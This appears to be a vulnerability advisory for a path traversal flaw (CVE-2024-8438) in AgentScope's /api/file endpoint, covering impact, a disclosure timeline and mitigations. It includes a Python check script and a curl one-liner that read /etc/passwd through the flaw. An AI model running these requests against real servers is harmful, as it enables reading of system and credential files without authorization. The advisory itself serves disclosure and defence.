AgentScope Pfadüberschreitung in /api/file

The path traversal vulnerability in Agentscope allows an attacker to bypass intended access controls and read arbitrary files on the server hosting the application. This could include sensitive configuration files, source code, database credentials, or other confidential data. Successful exploitation could lead to complete compromise of the server and its data. The attacker could potentially gain access to the entire file system, depending on the permissions of the user account running the Agentscope application.

Organizations deploying Agentscope in production environments, particularly those with sensitive data stored on the same server, are at risk. Environments with weak access controls or inadequate input validation practices are especially vulnerable. Shared hosting environments where Agentscope is installed alongside other applications could also be affected if the vulnerability is exploited to gain access to other tenants' data.

• python / agentscope:

import requests
import os

url = 'http://your-agentscope-server/api/file' # Replace with your server

try:
    # Attempt to read a sensitive file
    response = requests.get(url + '?path=/etc/passwd')
    if response.status_code == 200:
        print('Potential Path Traversal Detected!')
        print(response.text)
    else:
        print('No Path Traversal Detected.')
except requests.exceptions.RequestException as e:
    print(f'Error: {e}')

• generic web:

curl 'http://your-agentscope-server/api/file?path=../../../../etc/passwd' -s | grep 'root:'

1. 2025-03-20Disclosure

   disclosure

1. Reserviert2024-09-04
2. Veröffentlicht2025-03-20
3. EPSS aktualisiert2026-04-02

The primary mitigation for CVE-2024-8438 is to upgrade Agentscope to a version that includes the necessary fix. As no fixed version is currently specified, closely monitor the Agentscope project's repository and release notes for updates. Until a patch is available, consider implementing a Web Application Firewall (WAF) rule to block requests containing suspicious path traversal sequences (e.g., ../). Restrict access to the /api/file endpoint to trusted sources only. Regularly review file system permissions to ensure the Agentscope application runs with the least privilege necessary.